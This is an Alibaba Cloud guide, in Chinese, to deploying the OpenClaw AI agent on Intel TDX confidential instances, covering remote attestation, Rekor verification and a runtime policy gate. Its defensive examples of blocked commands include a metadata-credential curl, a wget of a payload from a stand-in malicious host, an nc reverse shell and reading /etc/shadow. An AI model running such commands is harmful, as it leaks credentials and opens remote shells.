全部产品
Search
文档中心

云服务器 ECS:基于 g9i TDX 机密计算实例一键构建 OpenClaw 机密 AI Agent

更新时间:May 29, 2026

AI Agent在运行过程中会处理用户对话、调用外部工具、管理长期记忆和服务凭证,攻击面远超传统应用。本文介绍如何在阿里云g9i TDX机密计算实例上,使用一键部署脚本快速构建OpenClaw机密AI Agent,通过百炼API完成模型推理,结合Intel TDX硬件级内存加密、远程证明和端到端加密通信,保护用户对话、Agent状态和服务凭证的安全。

方案概述

本文介绍Confidential Agent方案,通过将OpenClaw(开源个人AI Agent)封装在Intel TDX(Trust Domain Extensions)可信执行环境中,利用硬件级内存加密、远程证明、供应链可验证和端到端加密访问,确保用户对话、Agent状态和工具执行过程在受保护的边界内闭环流转。

本方案的模型推理由阿里云百炼(DashScope)API提供,AI Agent在Intel TDX信任域内运行。用户输入与Agent上下文在TDX内存边界内组装,再经OpenClaw通过HTTPS调用百炼API完成模型推理。用户对话历史、Agent长期记忆、SKILL文件、服务凭据和IM平台状态均不离开TDX信任域。这种"机密Agent + 托管模型"的架构可在通用TDX实例(无需GPU)上运行,部署门槛、成本和扩展性显著优于在本地运行大模型的方案。

说明

基于异构机密计算实例构建OpenClaw机密AI Agent中的"单机vLLM推理"方案不同,本方案不在TDX实例内部署大模型推理服务,模型推理Prompt与回复会以HTTPS形式发送到百炼API。百炼API由阿里云提供,符合阿里云数据保护承诺,但Prompt内容会离开TDX实例的硬件加密边界。如对推理过程也有"数据不出TEE"的要求,请使用单机vLLM推理方案。

安全架构

Confidential Agent部署中的核心数据均在TEE(Trusted Execution Environment,可信执行环境)边界内闭环流转,以下资产受到保护:

保护对象

说明

用户对话隐私

用户输入、工具执行上下文和AI回复,可能包含个人身份、医疗、金融等敏感信息。

Agent记忆与状态

OpenClaw的长期记忆、配置、SKILL文件,随运行时间积累形成高价值目标。

服务凭证

百炼DashScope API Key、钉钉OAuth凭据、OpenClaw Gateway Token,一旦泄露可导致服务被接管或调用配额被冒用。

安全架构自底向上覆盖硬件、启动链、运行时、密钥和通信五个层级:

保护层级

机制

硬件层

Intel TDX对Guest OS全部内存透明加密,云平台和宿主机无法读取明文。

启动链

UKI(Unified Kernel Image,统一内核镜像)和dm-verity rootfs防篡改;镜像度量值上传Rekor透明日志。

运行时

cai-pep(Policy Enforcement Point,策略执行点)对高危命令、敏感路径和网络访问执行策略拦截。

密钥管理

磁盘密钥、OpenClaw配置、钉钉凭据、百炼API Key等机密资源仅在远程证明通过后注入。

通信链路

RATS-TLS端到端加密,远程证明验证实例身份后才建立通道,全程加密传输。

部署架构

image

部署流程如下:

  1. 凭证准备:在部署机上导出阿里云AccessKey、百炼API Key和钉钉凭据(可选)。

  2. 一键部署:执行一键部署脚本,自动完成依赖安装、可信镜像构建、参考值上传、云资源创建、远程证明和机密资源注入。

  3. 建立加密通道:脚本自动启动TNG connect隧道,建立部署机与TDX实例之间的RATS-TLS加密通道。

  4. 访问服务:通过钉钉、Web、桌面客户端或TUI访问OpenClaw,所有流量经RATS-TLS加密通道进入TDX实例。

前提条件

  • 已开通阿里云ECS服务,账号具备创建TDX机密计算实例、VPC、交换机、安全组、OSS Bucket、自定义镜像等资源的权限。

  • 已准备一台Alibaba Cloud Linux 3 ECS实例作为部署机,可用磁盘空间不低于80 GB。

    重要

    部署机仅用于执行构建和部署操作,后续一键脚本会自动创建新的TDX机密实例承载OpenClaw服务。部署机本身无需是TDX实例。

  • 已获取阿里云访问凭证。建议使用RAM用户最小权限、RAM角色或STS临时凭证,避免长期存储主账号AccessKey。

  • 已开通阿里云百炼服务并获取DashScope API Key。

  • (可选)如需使用钉钉集成,已创建钉钉企业内部应用并获取Client IDClient Secret

  • 部署机可以访问公网,用于拉取源码、系统包、Node.js、npm包、Rekor透明日志和阿里云OpenAPI。

操作步骤

说明

本文以ecs.g9i.xlarge实例规格、地域cn-beijing、可用区cn-beijing-i为默认配置。

步骤一:准备凭证

一键部署脚本需要通过阿里云AccessKey创建云资源(ECS实例、VPC、安全组等),通过百炼API Key为OpenClaw提供模型推理能力。在部署机上执行以下命令,将凭证导出为环境变量。请将尖括号中的占位符替换为实际值。

export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
export DASHSCOPE_API_KEY="<YOUR_DASHSCOPE_API_KEY>"

占位符

说明

获取方式

<YOUR_ACCESS_KEY>

阿里云AccessKey ID

参见创建AccessKey

<YOUR_SECRET_KEY>

阿里云AccessKey Secret

与AccessKey ID一同生成。

<YOUR_DASHSCOPE_API_KEY>

百炼DashScope API Key

百炼控制台获取。

重要

建议使用RAM用户最小权限或STS临时凭证,避免长期存储主账号AccessKey。

如需启用钉钉接入,继续执行以下命令。请将占位符替换为钉钉企业内部应用的实际凭据。

export DINGTALK_BOT_CLIENT_ID="<YOUR_DINGTALK_CLIENT_ID>"
export DINGTALK_BOT_CLIENT_SECRET="<YOUR_DINGTALK_CLIENT_SECRET>"

其中<YOUR_DINGTALK_CLIENT_ID><YOUR_DINGTALK_CLIENT_SECRET>为钉钉企业内部应用的Client ID和Client Secret,在钉钉开发者后台创建应用后获取。

步骤二:执行一键部署

在部署机上执行以下命令进入交互式部署:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh

脚本默认进入交互模式,会自动询问缺失的阿里云凭证、百炼API Key、钉钉凭据、OpenClaw Gateway Token和operator CIDR。常用默认配置如下:

配置项

默认值

说明

Region

cn-beijing

阿里云地域。

Zone

cn-beijing-i

支持TDX实例规格的可用区。

Instance Type

ecs.g9i.xlarge

默认TDX实例规格。

System Disk

200G

OpenClaw镜像和运行态所需磁盘空间。

OpenClaw Version

2026.5.7

OpenClaw版本。

Node.js Version

22.19.0

OpenClaw运行时Node.js版本。

npm Registry

https://registry.npmmirror.com/

OpenClaw镜像构建时使用的npm源。

Reference Value

rekor

构建后将参考值上传Rekor,部署时使用Rekor验证。

State Dir

$HOME/.confidential-agent

本地状态、密钥、Terraform和构建产物目录。

一键脚本会自动探测部署机公网出口IP,并在交互模式下询问operator access CIDR:

选项

含义

适用场景

当前部署机公网IP /32

仅允许当前部署机访问控制面、状态接口、debug SSH和connect端口。

默认推荐,适用于生产和测试。

0.0.0.0/0

允许所有IPv4来源访问operator暴露端口。

临时演示或受控网络环境。

重要

0.0.0.0/0会扩大暴露面。默认OpenClaw配置禁用device auth,控制面仅靠Gateway Token鉴权;与0.0.0.0/0叠加使用时,请将Token视为高敏感凭据妥善保管。生产环境请限制为具体公网出口IP或企业出口CIDR。

非交互部署示例:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- deploy-openclaw \
  --non-interactive \
  --yes \
  --region cn-beijing \
  --zone-id cn-beijing-i \
  --instance-type ecs.g9i.xlarge \
  --disk-gb 200 \
  --enable-dingtalk

如需仅安装本机依赖、构建Confidential Agent组件和tools镜像,不创建云资源,执行以下命令:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- install-only

非交互指定CIDR示例:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- deploy-openclaw \
  --non-interactive \
  --yes \
  --allowed-cidr 203.0.113.10/32

步骤三:等待部署完成并确认

脚本会自动完成以下动作:

  1. 安装部署机依赖。

  2. 构建confidential-agentconfidential-agentdcai-pep,并将confidential-agent安装到/usr/local/bin

  3. 构建confidential-agent-tools:latest,并在部署机安装与镜像内匹配的OpenClaw CLI。

  4. 构建OpenClaw可信镜像,启用FDE、dm-verity和UKI。

  5. 将镜像参考值上传Rekor透明日志。

  6. 创建阿里云云资源并启动TDX ECS。

  7. 远程证明通过后注入OpenClaw配置、百炼API Key、钉钉凭据和Gateway Token。

  8. 启动本地TNG connect隧道,并执行Web可达性检查、Gateway WebSocket probe和chat probe。chat probe会经过百炼API真实回包,作为端到端可用性确认。

部署成功后,脚本会输出类似以下信息:

Confidential Agent one-click summary
  state_dir: /root/.confidential-agent
  work_dir:  /root/.confidential-agent/one-click
  service:   openclaw
  region:    cn-beijing
  zone_id:   cn-beijing-i
  instance:  ecs.g9i.xlarge
  cidr:      203.0.113.10/32
  dingtalk:  1
  token:     <generated-or-provided-token>
  web:       http://127.0.0.1:18789/openclaw
  ws/api:    ws://127.0.0.1:18789
  tui:       openclaw tui --url ws://127.0.0.1:18789 --token "<generated-or-provided-token>"
说明

Gateway Token会保存在$HOME/.confidential-agent/one-click/secrets/gateway.token,后续重跑会复用同一个Token。如需轮换,请删除该文件后重跑脚本。

步骤四:访问OpenClaw服务

服务就绪后,可以通过以下四种方式访问OpenClaw。所有访问流量都经过TNG RATS-TLS通道进入TDX实例。

方式一:通过钉钉聊天

在钉钉中找到已配置的机器人,直接发送消息即可与OpenClaw对话。

image

方式二:通过浏览器Web界面

如果浏览器运行在部署机上,直接访问以下地址:

http://127.0.0.1:18789/openclaw

如果浏览器运行在个人电脑上,先在个人电脑上执行以下命令建立SSH端口转发:

ssh -L 18789:127.0.0.1:18789 root@<DEPLOY_MACHINE_PUBLIC_IP>

然后在浏览器中访问http://127.0.0.1:18789/openclaw,填入步骤三输出的Gateway Token即可使用。

image

方式三:通过OpenClaw桌面客户端

在个人电脑上安装OpenClaw桌面客户端,配置Remote模式:

配置项

Server URL

ws://127.0.0.1:18789

Token

步骤三输出的Gateway Token

如果桌面客户端不在部署机上运行,先建立SSH端口转发:

ssh -L 18789:127.0.0.1:18789 root@<DEPLOY_MACHINE_PUBLIC_IP>

方式四:通过OpenClaw TUI

一键脚本会在部署机上安装与云端镜像匹配的OpenClaw CLI。执行以下命令运行TUI:

openclaw tui --url ws://127.0.0.1:18789 --token <YOUR_GATEWAY_TOKEN>
说明

首次通过TUI连接时,如提示pairing required,请先在浏览器中访问http://127.0.0.1:18789/openclaw,在节点页面找到待授权设备并单击Approve,再返回TUI使用。

步骤五(可选):释放资源

不再需要服务时,在部署机上执行以下命令释放云资源:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- cleanup \
  --state-dir "$HOME/.confidential-agent"
警告

销毁操作不可逆,会删除ECS实例、自定义镜像、OSS对象、安全组、VPC、交换机等云资源。请确认不再需要实例中的数据后再执行。

安全验证

验证运行环境可信

OpenClaw内置tdx-remote-attestation skill。当询问安全问题时会自动触发远程证明,验证当前运行环境的安全状态。

触发方式:在钉钉、Web或TUI中询问"我的数据安全吗?"、"这个环境可信吗?"等安全相关的问题。

返回内容

验证项

说明

硬件可信状态

hardware值 ≤ 32表示验证通过

TEE类型

Intel TDX Trust Domain

内存加密保护

确认内存加密引擎已启用

UKI启动链完整性

组件度量值一致性验证

验证PEP策略拦截

cai-pep是为机密AI Agent设计的运行时门禁机制。当OpenClaw通过exec工具执行命令时,请求会先经过cai-pep进行策略匹配,再进入隔离的Docker sandbox执行。

PEP提供三层防护:

  1. 命令级拦截:基于黑名单拒绝高危命令,例如curlwgetncsshdocker等。

  2. 路径级拦截:阻止访问敏感路径,例如/etc/proc/root、OpenClaw配置目录等。

  3. 网络隔离:sandbox默认无网络权限,即使命令绕过黑名单也无法发起外连。

以下命令会被PEP拒绝:

类型

示例命令

拦截原因

网络访问

curl http://169.254.169.254/latest/meta-data/

防止访问云元数据服务泄露凭证。

网络访问

wget http://malicious.example.com/payload

防止下载外部恶意代码。

反向Shell

nc 10.0.0.99 4444 -e /bin/bash

nc命中命令黑名单。

远程登录

ssh root@external-host

防止越权访问外部系统。

容器操作

docker ps

防止操作宿主机容器。

敏感路径

cat /etc/shadow

/etc/shadow命中敏感路径前缀。

例如,当Agent尝试执行以下命令访问云元数据服务时:

运行:curl http://169.254.169.254/latest/meta-data/

PEP会识别到curl在拒绝命令列表中,直接拦截该请求并返回拒绝信息,阻止凭证泄露。

验证供应链完整性

部署流程默认使用Rekor透明日志存储镜像参考值,远程证明过程中自动从Rekor获取日志条目进行验证。您可以通过以下方式对Rekor日志条目进行审计,验证供应链完整性。

查看Rekor记录

构建完成后,可在状态目录下找到Rekor metadata:

find "$HOME/.confidential-agent" -name "*.rekor-meta.json" -print

每个条目对应一份SLSA provenance,包含log index和entry URL。一键脚本输出的Rekor上传日志示例:

Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

验证包含性(inclusion proof)

包含性证明用于确认记录着镜像参考值的条目确实存在于Rekor的默克尔树根(Merkle Root)中。

rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

如果输出中包含两段相同的hash值,则说明验证成功:

Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

验证一致性(consistency proof)

一致性证明可确认一个较旧的默克尔树根(Root A)是较新的默克尔树根(Root B)的前缀或历史状态,从而确保Rekor上存储的参考值条目没有被删改。

rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

输出中包含以下内容则说明验证成功:

Verification Successful!

注意事项

安全组规则

一键部署过程中将自动创建安全组规则。如需后续修改,请确保保留以下端口:

端口

协议

说明

建议

22

TCP

SSH远程管理(仅Debug镜像)

限制源IP为管理网络。

18789

TCP

TNG隧道端点(RATS-TLS),用于访问OpenClaw服务

限制源IP或仅通过TNG访问。

重要

默认operator CIDR为部署机公网出口IP /32。如果手工指定0.0.0.0/0,请同时降低Token暴露风险,并在生产环境改回具体公网出口或企业出口CIDR。

百炼API Key与配额

百炼API Key决定了实例可用的模型与配额。建议:

  1. 使用最小必要配额的API Key,避免使用主账号Key。

  2. 注入实例后定期轮换:删除secrets/gateway.token、重新export DASHSCOPE_API_KEY后重跑一键脚本即可。

  3. 结合百炼控制台的访问审计,对调用量异常做告警。

常见问题

peering 'ops' already exists with a different CIDR

原因:当前状态目录中已存在不同CIDR的operator peering。

解决:重新传入与已存在peering一致的--allowed-cidr;或在交互模式中确认替换;非交互模式下追加--yes

Shelter is requiredSLSA generator is required

原因:部署机未安装Shelter,或Rekor模式找不到Shelter的SLSA generator。

解决

  • 确认仓库hack/目录下存在shelter-*.rpm,或通过--shelter-rpm指定RPM路径。

  • 重新安装Shelter RPM,确保/usr/libexec/shelter/slsa/slsa-generator存在。

  • 仅本地开发验证场景下,使用--reference-values sample跳过Rekor流程。

Web端口打不开

原因与排查

  1. 查看connect.logtail -F "$HOME/.confidential-agent/one-click/connect.log"

  2. 检查ECS实例安全组是否放通opsdeployer两个operator peering。

  3. 部署机公网出口IP发生变化时,重新运行一键脚本,或执行peering remove deployer后按新出口IP添加deployer peering。

Chat probe失败

原因:本方案的推理由百炼API完成,chat probe失败通常与百炼配置有关。

解决

  1. 检查DASHSCOPE_API_KEY是否正确且已生效。

  2. 检查所选模型在百炼控制台是否处于可用状态、是否欠费。

  3. 通过debug SSH登录guest,查看OpenClaw网关日志排查。

钉钉无响应

原因与排查

  1. 部署时是否传入--enable-dingtalk或在交互模式中启用钉钉。

  2. guest内openclaw status是否显示DingTalk channel为ON

  3. journalctl -u cai-openclaw-gateway.service -n 200 --no-pager中是否存在dingtalk连接错误;如出现HTTP 401,优先检查钉钉Client IDClient Secret是否与钉钉开放平台一致。

  4. 钉钉应用是否具备发送/接收消息所需的权限。

cai-pep拒绝所有工具调用

原因:PEP策略配置异常或服务未正常启动。

解决:使用Debug镜像部署后,通过SSH连接登录TDX实例,查看cai-pep日志排查具体拦截原因:

journalctl -u cai-pep.service -n 200 --no-pager

相关文档